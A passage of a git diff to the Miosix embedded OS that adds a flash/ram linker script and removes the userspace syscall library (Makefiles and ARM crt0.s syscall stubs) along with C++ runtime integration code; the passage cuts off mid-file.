_irq_stack_size; + _irq_stack_top = .; + } > ram + + .data : ALIGN(8) + { + _data = .; + *(.data) + *(.data.*) + *(.gnu.linkonce.d.*) + . = ALIGN(8); + _edata = .; + } > ram AT > flash + _etext = LOADADDR(.data); + + _bss_start = .; + .bss (NOLOAD) : + { + *(.bss) + *(.bss.*) + *(.gnu.linkonce.b.*) + . = ALIGN(8); + } > ram + _bss_end = .; + + /* + * _end is both the end of the statically allocated RAM block (end of .bss) + * and the start of the heap, while _heap_end is the end of the heap. + * Just like .data and .bss above, this heap is used by the kernel and + * kernelspace applications. + */ + .heap (NOLOAD) : + { + _end = .; + . = ORIGIN(ram) + LENGTH(ram) - _process_pool_size; + _heap_end = .; + } > ram + + /* + * The process pool is the memory area reserved for running processes. + * It uses a separate allocator and MPU regions are used to enforce memory + * protection, when architectural support for it is present. + * Linker scripts which do not override _process_pool_size get a zero-sized + * process pool and are incapable of running processes. + */ + .process_pool (NOLOAD) : + { + _process_pool_start = .; + . = . + _process_pool_size; + _process_pool_end = .; + } > ram +} diff --git a/miosix/ldscripts/miosix-flash-ram.ld b/miosix/ldscripts/miosix-flash-ram.ld new file mode 100644 index 000000000..762db3875 --- /dev/null +++ b/miosix/ldscripts/miosix-flash-ram.ld @@ -0,0 +1,210 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * This linker script supports the common case where the chip provides two + * memory regions: + * - One contiguous block of nonvolatile memory that is read-only during code + * execution, most commonly a FLASH memory, called "flash" in the memory map + * - One contiguous block of volatile read/write memory, most commonly SRAM + * that is called "ram" in the memory map + * + * In summary, the assignment of sections to memory regions is as follows: + * flash .text + * ram .irq_stack + * .data + * .bss + * .heap + * .process_pool + */ + +/* Default values for tunable variables */ +PROVIDE(_irq_stack_size = 512); +PROVIDE(_process_pool_size = 0); +PROVIDE(_xram_start = 0); /* Used for memory protection and cacheability */ +PROVIDE(_xram_size = 0); /* Used for memory protection and cacheability */ + +/* Sanity checks */ +ASSERT(_irq_stack_size % 8 == 0, "IRQ stack size error"); +ASSERT(_process_pool_size % 1024 == 0, "Process pool size error"); + +ENTRY(_ZN6miosix13Reset_HandlerEv) + +SECTIONS +{ + . = 0; + + .text : + { + /* Interrupt vectors must be placed at the start of flash */ + KEEP(*(.isr_vector)) + + *(.text) + *(.text.*) + *(.gnu.linkonce.t.*) + /* these sections for thumb interwork? */ + *(.glue_7) + *(.glue_7t) + /* these sections for C++ */ + *(.gcc_except_table) + *(.gcc_except_table.*) + *(.ARM.extab*) + *(.gnu.linkonce.armextab.*) + + . = ALIGN(4); + /* .rodata: constant data */ + *(.rodata) + *(.rodata.*) + *(.gnu.linkonce.r.*) + + /* C++ Static constructors/destructors (eabi) */ + . = ALIGN(4); + KEEP(*(.init)) + + . = ALIGN(4); + __miosix_init_array_start = .; + KEEP (*(SORT(.miosix_init_array.*))) + KEEP (*(.miosix_init_array)) + __miosix_init_array_end = .; + + . = ALIGN(4); + __preinit_array_start = .; + KEEP (*(.preinit_array)) + __preinit_array_end = .; + + . = ALIGN(4); + __init_array_start = .; + KEEP (*(SORT(.init_array.*))) + KEEP (*(.init_array)) + __init_array_end = .; + + . = ALIGN(4); + KEEP(*(.fini)) + + . = ALIGN(4); + __fini_array_start = .; + KEEP (*(.fini_array)) + KEEP (*(SORT(.fini_array.*))) + __fini_array_end = .; + + /* C++ Static constructors/destructors (elf) */ + . = ALIGN(4); + _ctor_start = .; + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*crtend.o(.ctors)) + _ctor_end = .; + + . = ALIGN(4); + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*crtend.o(.dtors)) + } > flash + + /* .ARM.exidx is sorted, so has to go in its own output section. */ + __exidx_start = .; + .ARM.exidx : + { + *(.ARM.exidx* .gnu.linkonce.armexidx.*) + } > flash + __exidx_end = .; + + /* + * The irq stack is used for interrupt handling by the kernel. ARM Cortex + * cores call it the "main" stack, but the name is confusing as it's *not* + * the stack used for main(). This linker script places it at the bottom of + * the ram, instead of the top. This is done for two reasons: + * - as an optimization for microcontrollers with little ram memory. + * The implementation of malloc from newlib requests memory to the OS in + * blocks which can vary from 1KB to 4KB. Using the top of the RAM for the + * irq stack, whose size is usually less than one malloc block means + * the difference between the block size and the stack size is wasted RAM + * that malloc can't use. + * - Many microcontrollers produce a fault if the CPU accesses memory below + * the RAM start address. By placing the interrupt stack at the beginning + * of the RAM we take advantage of this behavior to produce a fault on + * interrupt stack overflow. Placing the stack at the top would instead + * cause the stack to silently collide with the heap. + */ + .irq_stack (NOLOAD) : + { + . = ORIGIN(ram); + _irq_stack_bottom = .; + . = . + _irq_stack_size; + _irq_stack_top = .; + } > ram + + .data : ALIGN(8) + { + _data = .; + *(.data) + *(.data.*) + *(.gnu.linkonce.d.*) + . = ALIGN(8); + _edata = .; + } > ram AT > flash + _etext = LOADADDR(.data); + + _bss_start = .; + .bss (NOLOAD) : + { + *(.bss) + *(.bss.*) + *(.gnu.linkonce.b.*) + . = ALIGN(8); + } > ram + _bss_end = .; + + /* + * _end is both the end of the statically allocated RAM block (end of .bss) + * and the start of the heap, while _heap_end is the end of the heap. + * Just like .data and .bss above, this heap is used by the kernel and + * kernelspace applications. + */ + .heap (NOLOAD) : + { + _end = .; + . = ORIGIN(ram) + LENGTH(ram) - _process_pool_size; + _heap_end = .; + } > ram + + /* + * The process pool is the memory area reserved for running processes. + * It uses a separate allocator and MPU regions are used to enforce memory + * protection, when architectural support for it is present. + * Linker scripts which do not override _process_pool_size get a zero-sized + * process pool and are incapable of running processes. + */ + .process_pool (NOLOAD) : + { + _process_pool_start = .; + . = . + _process_pool_size; + _process_pool_end = .; + } > ram +} diff --git a/miosix/libsyscalls/Makefile b/miosix/libsyscalls/Makefile deleted file mode 100644 index eaa57b04e..000000000 --- a/miosix/libsyscalls/Makefile +++ /dev/null @@ -1,24 +0,0 @@ -## -## Makefile for libsyscalls, the library with userspace syscalls for processes -## This makefile builds libsyscalls.a -## - -## KPATH and CONFPATH should be forwarded by the parent makefile -MAKEFILE_VERSION := 1.15 -include Makefile.pcommon - -SRC := crt0.s crt1.cpp memoryprofiling.cpp - -## Process code shouldn't include kernel headers, but memoryprofiling.cpp -## needs to include miosix_settings.h. For this reason we add the required -## include paths only here and not in Makefile.pcommon -CXXFLAGS += -I$(CONFPATH) -I$(CONFPATH)/config/$(BOARD_INC) -I$(KPATH)/$(ARCH_INC) - -all: $(OBJ) - $(ECHO) "[AR ] libsyscalls.a" - $(Q)$(AR) rcs libsyscalls.a $(OBJ) - -clean: - $(Q)rm -f $(OBJ) $(OBJ:.o=.d) libsyscalls.a - --include $(OBJ:.o=.d) diff --git a/miosix/libsyscalls/Makefile.pcommon b/miosix/libsyscalls/Makefile.pcommon deleted file mode 100644 index 64ccb8904..000000000 --- a/miosix/libsyscalls/Makefile.pcommon +++ /dev/null @@ -1,41 +0,0 @@ -## -## Common code for building Miosix processes -## - -## KPATH and CONFPATH should be forwarded by the parent Makefile -ifeq ($(KPATH),) - $(info Error: KPATH not specified) - $(error Error) -endif -ifeq ($(CONFPATH),) - $(info Error: CONFPATH not specified) - $(error Error) -endif - -include $(CONFPATH)/config/Makefile.inc - -AFLAGS ?= $(CPU) -CFLAGS ?= -MMD -MP $(CPU) -fpie -msingle-pic-base -ffunction-sections -Wall \ - -Werror=return-type -D_DEFAULT_SOURCE=1 $(OPT_OPTIMIZATION) \ - $(INCLUDE_DIRS) -g -c -CXXFLAGS ?= -std=c++14 $(PROC_OPT_EXCEPT) $(CFLAGS) -LFLAGS ?= $(CPU) -fpie -msingle-pic-base -nostdlib -Wl,--gc-sections \ - -Wl,-Map,$(notdir $(BIN)).map,-T$(KPATH)/libsyscalls/process.ld \ - -Wl,-n,-pie,--spare-dynamic-tags,3,--target2=mx-data-rel -STDLIBS := -lsyscalls -lstdc++ -lc -lm -lgcc -latomic -LINK_LIBS ?= $(LIBS) -L$(KPATH)/libsyscalls -Wl,--start-group $(STDLIBS) \ - -Wl,--end-group - -OBJ ?= $(addsuffix .o, $(basename $(SRC))) - -%.o : %.cpp - $(ECHO) "[CXX ] $<" - $(Q)$(CXX) $(CXXFLAGS) $< -o $@ - -%.o : %.c - $(ECHO) "[CC ] $<" - $(Q)$(CC) $(CFLAGS) $< -o $@ - -%.o: %.s - $(ECHO) "[AS ] $<" - $(Q)$(AS) $(AFLAGS) $< -o $@ diff --git a/miosix/libsyscalls/crt0.s b/miosix/libsyscalls/crt0.s deleted file mode 100644 index 526cef3d8..000000000 --- a/miosix/libsyscalls/crt0.s +++ /dev/null @@ -1,794 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -.syntax unified -.arch armv7-m -.thumb - -/** - * call global constructors and destructors - * uses non-standard calling convention, as it is called only from _start - * expects the pointer to the start of the function pointer area in r4 and - * the pointer to the end of it in r5 - */ -.section .text -.type call, %function -call: - push {lr} - cmp r4, r5 - beq .L100 -.L101: - ldr r3, [r4], #4 - blx r3 - cmp r5, r4 - bne .L101 -.L100: - pop {pc} - -/** - * _start, program entry point - */ -.section .text -.global _start -.type _start, %function -_start: - /* store the stack end (for profiling purposes) */ - ldr r4, .L200+20 - ldr r4, [r9, r4] - str sp, [r4] - /* save argc, argv, envp for later. Saving 3*4=12byte + additional 4bytes */ - /* in call respects 8 byte stack alignment in the called C++ constructors */ - /* while call itself uses nonstandard calling conventions anyway */ - push {r0,r1,r2} - /* store the heap end in the appropriate variable */ - ldr r0, .L200+16 - ldr r0, [r9, r0] - str r3, [r0] - /* store envp in the appropriate variable */ - ldr r0, .L200+24 - ldr r0, [r9, r0] - str r2, [r0] - /* call C++ global constructors */ - ldr r0, .L200 - ldr r1, .L200+4 - ldr r4, [r9, r0] - ldr r5, [r9, r1] - bl call - ldr r0, .L200+8 - ldr r1, .L200+12 - ldr r4, [r9, r0] - ldr r5, [r9, r1] - bl call - /* get back argc,argv,envp */ - pop {r0,r1,r2} - /* call main */ - bl main - /* Terminate the program, simply by calling exit(). - * Note: a previous version of _start manually called __call_exitprocs() - * followed by _exit(), but it forgot to also call __stdio_exit_handler(), - * which caused stdout to not be flushed on exit. - * The standard exit() function does everything that needs to be done, - * and is perfectly fine to call here, so we might as well use it! */ - b exit -.L200: - .word __preinit_array_end(GOT) - .word __preinit_array_start(GOT) - .word __init_array_start(GOT) - .word __init_array_end(GOT) - .word __processHeapEnd(GOT) - .word __processStackEnd(GOT) - .word environ(GOT) - -/** - * pthread_yield - * \return 0 (success) - */ -.section .text.pthread_yield -.global pthread_yield -.type pthread_yield, %function -pthread_yield: - movs r3, #0 - svc 0 - movs r0, #0 - bx lr - -/** - * open, open a file - * \param path file name - * \param file access mode - * \param mode access permisions - * \return file descriptor or -1 if errors - */ -.section .text.open -.global open -.type open, %function -open: - movs r3, #2 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * close, close a file - * \param fd file descriptor - * \return 0 on success, -1 on failure - */ -.section .text.close -.global close -.type close, %function -close: - movs r3, #3 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * read, read from file - * \param fd file descriptor - * \param buf data to be read - * \param size buffer length - * \return number of read bytes or -1 if errors - */ -.section .text.read -.global read -.type read, %function -read: - movs r3, #4 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * write, write to file - * \param fd file descriptor - * \param buf data to be written - * \param size buffer length - * \return number of written bytes or -1 if errors - */ -.section .text.write -.global write -.type write, %function -write: - movs r3, #5 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * lseek - * \param fd file descriptor, passed in r0 - * \param pos moving offset, passed in r3,r2 as it is a long long - * \param whence, SEEK_SET, SEEK_CUR or SEEK_END, passed in the stack - * \return absolute position after seek on success, -1LL on failure - */ -.section .text.lseek -.global lseek -.type lseek, %function -lseek: - ldr r12, [sp] /* Whence moved to 4th syscall parameter (r12) */ - movs r1, r3 /* Upper 32bit of pos moved to 2nd syscall parameter (r1) */ - movs r3, #6 - svc 0 - cmp r0, #0 - sbcs r3, r1, #0 /* 64 bit negative check */ - blt syscallfailed64 - bx lr - -/** - * stat - * \param path path to file or directory - * \param pstat pointer to struct stat - * \return 0 on success, -1 on failure - */ -.section .text.stat -.global stat -.type stat, %function -stat: - movs r3, #7 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * lstat - * \param path path to file or directory - * \param pstat pointer to struct stat - * \return 0 on success, -1 on failure - */ -.section .text.lstat -.global lstat -.type lstat, %function -lstat: - movs r3, #8 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * fstat - * \param fd file descriptor - * \param pstat pointer to struct stat - * \return 0 on success, -1 on failure - */ -.section .text.fstat -.global fstat -.type fstat, %function -fstat: - movs r3, #9 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * fcntl - * \param fd file descriptor - * \param cmd operation to perform - * \param opt optional third parameter - * \return -1 on failure, an operation dependent return value otherwise - */ -.section .text.fcntl -.global fcntl -.type fcntl, %function -fcntl: - movs r3, #10 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * ioctl - * \param fd file descriptor - * \param cmd operation to perform - * \param arg optional third parameter - * \return -1 on failure, an operation dependent return value otherwise - */ -.section .text.ioctl -.global ioctl -.type ioctl, %function -ioctl: - movs r3, #11 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * isatty - * \param fd file descriptor - * \return 1 if fd is associated with a terminal, 0 if not, or also on failure. - * When fd is valid but not a terminal, errno is set to ENOTTY. - */ -.section .text.isatty -.global isatty -.type isatty, %function -isatty: - movs r3, #12 - svc 0 - cmp r0, #0 - ble __isattyfailed @ tail call - bx lr - -/** - * getcwd - * \param fd file descriptor - * \param buf pointer to buffer where current directory will be written - * \param size buffer size - * \return pointer on success, NULL on failure - */ -.section .text.getcwd -.global getcwd -.type getcwd, %function -getcwd: - movs r3, #13 - svc 0 - cmp r1, #0 - blt .L300 - bx lr -.L300: - movs r0, r1 - b __getcwdfailed @ tail call - -/** - * chdir - * \param path pointer to path where to change directory - * \return 0 on success, -1 on failure - */ -.section .text.chdir -.global chdir -.type chdir, %function -chdir: - movs r3, #14 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * getdents - * \param fd file descriptor - * \param buf pointer to buffer where directory entries will be written - * \param size buffer size - * \return number of bytes wrtten, 0 on end of directory, -1 on failure - */ -.section .text.getdents -.global getdents -.type getdents, %function -getdents: - movs r3, #15 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * mkdir - * \param path pointer to path of directory to create - * \param mode directory mode - * \return 0 on success, -1 on failure - */ -.section .text.mkdir -.global mkdir -.type mkdir, %function -mkdir: - movs r3, #16 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * rmdir - * \param path pointer to path of directory to remove - * \return 0 on success, -1 on failure - */ -.section .text.rmdir -.global rmdir -.type rmdir, %function -rmdir: - movs r3, #17 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * link - * \param oldpath existing file path - * \param newpath new file path - * \return 0 on success, -1 on failure - */ -.section .text.link -.global link -.type link, %function -link: - movs r3, #18 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * unlink - * \param path path of file/directory to remove - * \return 0 on success, -1 on failure - */ -.section .text.unlink -.global unlink -.type unlink, %function -unlink: - movs r3, #19 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * symlink - * \param target symlink destination - * \param linkpath file name of symlink to be created - * \return 0 on success, -1 on failure - */ -.section .text.symlink -.global symlink -.type symlink, %function -symlink: - movs r3, #20 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * readlink - * \param path path to the symlink - * \param buf pointer where the symlink target will be stored - * \param size buffer size - * \return 0 on success, -1 on failure - */ -.section .text.readlink -.global readlink -.type readlink, %function -readlink: - movs r3, #21 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * truncate - * \param path path to the file - * \param size new file size - * \return 0 on success, -1 on failure - */ -.section .text.truncate -.global truncate -.type truncate, %function -truncate: - movs r1, r3 - movs r3, #22 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * ftruncate - * \param fd file descriptor - * \param size new file size - * \return 0 on success, -1 on failure - */ -.section .text.ftruncate -.global ftruncate -.type ftruncate, %function -ftruncate: - movs r1, r3 - movs r3, #23 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * rename - * \param oldpath existing file path - * \param newpath new file path - * \return 0 on success, -1 on failure - */ -.section .text.rename -.global rename -.type rename, %function -rename: - movs r3, #24 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/* TODO: missing syscalls: chmod, fchmod, chown, fchown, lchown */ - -/** - * dup - * \param fd file descriptor to duplicate - * \return the new file descriptor on success, -1 on failure - */ -.section .text.dup -.global dup -.type dup, %function -dup: - movs r3, #30 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * dup2 - * \param oldfd file descriptor to duplicate - * \param newfd old file descriptor will be duplicated to this file descriptor - * \return the new file descriptor on success, -1 on failure - */ -.section .text.dup2 -.global dup2 -.type dup2, %function -dup2: - movs r3, #31 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * pipe - * \param fds[2] file descriptors - * \return 0 on success, -1 on failure - */ -.section .text.pipe -.global pipe -.type pipe, %function -pipe: - movs r3, #32 - svc 0 - cmp r1, #0 - blt .L400 - str r2, [r0] - str r12, [r0, #4] - movs r0, r1 - bx lr -.L400: - movs r0, r1 - b syscallfailed32 - -/* TODO: missing syscalls: access */ - -/** - * miosix::getTime, nonstandard syscall - * \return long long time in nanoseconds, relative to clock monotonic - */ -.section .text._ZN6miosix7getTimeEv -.global _ZN6miosix7getTimeEv -.type _ZN6miosix7getTimeEv, %function -_ZN6miosix7getTimeEv: - movs r0, #4 - movs r3, #38 - svc 0 - bx lr - -/** - * clock_gettime - * \param clockid which clock - * \param tp struct timespec* - * \return in Miosix this syscall always returns 0, if the clockid is wrong - * the default clock is returned - */ -.section .text.clock_gettime -.global clock_gettime -.type clock_gettime, %function -clock_gettime: - push {r4, lr} - movs r4, r1 - movs r3, #38 - svc 0 - adr r3, .L500 - ldrd r2, [r3] - bl __aeabi_ldivmod - strd r0, [r4] - str r2, [r4, #8] - movs r0, #0 - pop {r4, pc} - .align 2 -.L500: - .word 1000000000 - .word 0 - -/** - * clock_settime - * \param clockid which clock - * \param tp struct timespec* - * \return 0 on success or a positive error code - */ -.section .text.clock_settime -.global clock_settime -.type clock_settime, %function -clock_settime: - push {r4} - ldr r4, .L600 - ldrd r2, [r1] - umull r2, r12, r2, r4 - ldr r1, [r1, #8] - mla r3, r3, r4, r12 - adds r2, r2, r1 - adc r1, r3, r1, asr #31 - movs r3, #39 - svc 0 - pop {r4} - bx lr - .align 2 -.L600: - .word 1000000000 - -/** - * miosix::nanoSleepUntil, nonstandard syscall - * \param absolute sleep time in nanoseconds, relative to clock monotonic - */ -.section .text._ZN6miosix14nanoSleepUntilEx -.global _ZN6miosix14nanoSleepUntilEx -.type _ZN6miosix14nanoSleepUntilEx, %function -_ZN6miosix14nanoSleepUntilEx: - mov r12, #260 - movs r3, #40 - svc 0 - bx lr - -/** - * clock_nanosleep - * \param clockid which clock - * \param flags absolute or relative - * \param req struct timespec* with sleep time - * \param rem ignored - * \return 0 on success or a positive error code - */ -.section .text.clock_nanosleep -.global clock_nanosleep -.type clock_nanosleep, %function -clock_nanosleep: - push {r4} - orr r12, r0, r1, lsl #6 @ Pack clockid and flags - ldr r4, .L700 - ldrd r0, [r2] @ Read tv_sec field of req in r0, r1 - umull r0, r3, r0, r4 @ Compute low half of tv_sec * 1000000000 in r0 - ldr r2, [r2, #8] @ Load tv_nsec field - mla r1, r1, r4, r3 @ Compute high half of tv_sec * 1000000000 in r1 - adds r0, r0, r2 - adc r1, r1, r2, asr #31 @ Add tv_nsec - movs r3, #40 - svc 0 @ Invoke syscall 40 (GETTIME) - pop {r4} - bx lr @ Epilogue - .align 2 -.L700: - .word 1000000000 - -/** - * clock_getres - * \param clockid which clock - * \param req struct timespec* resolution - * \return 0 on success or a positive error code - */ -.section .text.clock_getres -.global clock_getres -.type clock_getres, %function -clock_getres: - movs r3, #41 - svc 0 - str r2, [r1, #8] - movs r2, #0 - movs r3, #0 - strd r2, [r1] - bx lr - -/* TODO: missing syscalls: clock_adjtime */ - -/** - * _exit, terminate process - * \param v exit value - * This syscall does not return - */ -.section .text._exit -.global _exit -.type _exit, %function -_exit: - movs r3, #43 - svc 0 - -/** - * execve, run a different program - * \param path program to run - * \param argv program arguments - * \param envp program environment variables - * \return -1 on failure. Does not return on success - */ -.section .text.execve -.global execve -.type execve, %function -execve: - movs r3, #44 - svc 0 - /* if execve returns, then it failed */ - b __seterrno32 - -/** - * posix_spawn, start a new process running the given program - * \param pid pid of running program will be stored here - * \param path program to run - * \param file_actions optional actions (not supported, must be nullptr) - * \param attrp more options (not supported, must be nullptr) - * \param argv program arguments - * \param envp program environment variables - * \return an error code on failure, 0 on success - */ -.section .text.posix_spawn -.global posix_spawn -.type posix_spawn, %function -posix_spawn: - cbnz r2, .L800 - cbnz r3, .L800 @ Fail on file_actions/attrp != 0 - ldrd r2, r3, [sp] - mov r12, r3 @ Move argv, envp pointers to r2, 12 respectively - movs r3, #45 - svc 0 @ Invoke syscall 45 (SPAWN) - bx lr -.L800: - movs r0, #14 @ EFAULT - bx lr - -/* TODO: missing syscalls */ - -/** - * waitpid, wait for process termination - * \param pid pid to wait for - * \param wstatus pointer to return code - * \param options wait options - * \return 0 on success, -1 on failure - */ -.section .text.waitpid -.global waitpid -.type waitpid, %function -waitpid: - movs r3, #47 - svc 0 - cmp r0, #0 - blt syscallfailed32 - bx lr - -/** - * getpid - * \return the pid of the current process - */ -.section .text.getpid -.global getpid -.type getpid, %function -getpid: - movs r3, #48 - svc 0 - bx lr - -/** - * getppid - * \return the pid of the parent process - */ -.section .text.getppid -.global getppid -.type getppid, %function -getppid: - movs r3, #49 - svc 0 - bx lr - -/* TODO: missing syscalls: getuid, getgid, geteuid, getegid, setuid, setgid */ - -/* common jump target for all failing syscalls with 32 bit return value */ -.section .text.__seterrno32 -syscallfailed32: - /* tail call */ - b __seterrno32 - -/* common jump target for all failing syscalls with 64 bit return value */ -.section .text.__seterrno64 -syscallfailed64: - /* tail call */ - b __seterrno64 - -.end diff --git a/miosix/miosix.h b/miosix/miosix.h index 0a7de3629..00f12e890 100644 --- a/miosix/miosix.h +++ b/miosix/miosix.h @@ -33,13 +33,13 @@ #include #include #include -#include /* Miosix kernel */ -#include +#include +#include #include #include #include /* Utilities */ #include /* Settings */ -#include +#include diff --git a/miosix/stdlib_integration/libstdcpp_integration.cpp b/miosix/stdlib_integration/libstdcpp_integration.cpp deleted file mode 100644 index 629791a16..000000000 --- a/miosix/stdlib_integration/libstdcpp_integration.cpp +++ /dev/null @@ -1,343 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008-2019 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "libstdcpp_integration.h" -#include -#include -#include -#include -//// Settings -#include "config/miosix_settings.h" -//// Console -#include "kernel/logging.h" -//// kernel interface -#include "kernel/kernel.h" - -using namespace std; - -// -// C++ exception support -// ===================== - -#if __cplusplus >= 201703L -#warning: TODO: Override new with alignment (libsupc++/new_opa.cc, new_opv.cc, ... -#warning: TODO: FIX __gthread_key_t in libstdc++/include/std/memory_resource -#endif - -#ifdef __NO_EXCEPTIONS -/* - * If not using exceptions, ovverride the default new, delete with - * an implementation that does not throw, to minimze code size - */ -void *operator new(size_t size) noexcept -{ - return malloc(size); -} - -void *operator new(size_t size, const std::nothrow_t&) noexcept -{ - return malloc(size); -} - -void *operator new[](size_t size) noexcept -{ - return malloc(size); -} - -void *operator new[](size_t size, const std::nothrow_t&) noexcept -{ - return malloc(size); -} - -void operator delete(void *p) noexcept -{ - free(p); -} - -void operator delete[](void *p) noexcept -{ - free(p); -} - -/** - * \internal - * The default version of these functions provided with libstdc++ require - * exception support. This means that a program using pure virtual functions - * incurs in the code size penalty of exception support even when compiling - * without exceptions. By replacing the default implementations with these one - * the problem is fixed. - */ -extern "C" void __cxxabiv1::__cxa_pure_virtual(void) -{ - errorLog("\n***Pure virtual method called\n"); - _exit(1); -} - -extern "C" void __cxxabiv1::__cxa_deleted_virtual(void) -{ - errorLog("\n***Deleted virtual method called\n"); - _exit(1); -} - -namespace std { -void terminate() noexcept { _exit(1); } -void unexpected() noexcept { _exit(1); } -/* - * This one comes from thread.cc, the need to call the class destructor makes it - * call __cxa_end_cleanup which pulls in exception code. - */ -extern "C" void* execute_native_thread_routine(void* __p) -{ - thread::_State_ptr __t{ static_cast(__p) }; - __t->_M_run(); - return nullptr; -} -} //namespace std - -/* - * If not using exceptions, ovverride these functions with - * an implementation that does not throw, to minimze code size - */ -namespace std { -void __throw_bad_exception() { _exit(1); } -void __throw_bad_alloc() { _exit(1); } -void __throw_bad_cast() { _exit(1); } -void __throw_bad_typeid() { _exit(1); } -void __throw_logic_error(const char*) { _exit(1); } -void __throw_domain_error(const char*) { _exit(1); } -void __throw_invalid_argument(const char*) { _exit(1); } -void __throw_length_error(const char*) { _exit(1); } -void __throw_out_of_range(const char*) { _exit(1); } -void __throw_out_of_range_fmt(const char*, ...) { exit(1); } -void __throw_runtime_error(const char*) { _exit(1); } -void __throw_range_error(const char*) { _exit(1); } -void __throw_overflow_error(const char*) { _exit(1); } -void __throw_underflow_error(const char*) { _exit(1); } -void __throw_system_error(int) { _exit(1); } -void __throw_future_error(int) { _exit(1); } -void __throw_bad_function_call() { _exit(1); } -} //namespace std - -namespace __cxxabiv1 { -extern "C" void __cxa_throw_bad_array_length() { exit(1); } -extern "C" void __cxa_bad_cast() { exit(1); } -extern "C" void __cxa_bad_typeid() { exit(1); } -extern "C" void __cxa_throw_bad_array_new_length() { exit(1); } -} //namespace __cxxabiv1 - -#endif //__NO_EXCEPTIONS - -namespace miosix { - -class CppReentrancyAccessor -{ -public: - static __cxxabiv1::__cxa_eh_globals *getEhGlobals() - { - return &miosix::Thread::getCurrentThread()->cppReentrancyData.eh_globals; - } - - #ifndef __ARM_EABI__ - static void *getSjljPtr() - { - return miosix::Thread::getCurrentThread()->cppReentrancyData.sjlj_ptr; - } - - static void setSjljPtr(void *ptr) - { - miosix::Thread::getCurrentThread()->cppReentrancyData.sjlj_ptr=ptr; - } - #endif //__ARM_EABI__ -}; - -} //namespace miosix - -/* - * If exception support enabled, ensure it is thread safe. - * The functions __cxa_get_globals_fast() and __cxa_get_globals() need to - * return a per-thread data structure. Given that thread local storage isn't - * implemented in Miosix, libstdc++ was patched to make these functions syscalls - */ -namespace __cxxabiv1 -{ - -extern "C" __cxa_eh_globals* __cxa_get_globals_fast() -{ - return miosix::CppReentrancyAccessor::getEhGlobals(); -} - -extern "C" __cxa_eh_globals* __cxa_get_globals() -{ - return miosix::CppReentrancyAccessor::getEhGlobals(); -} - -#ifndef __ARM_EABI__ -extern 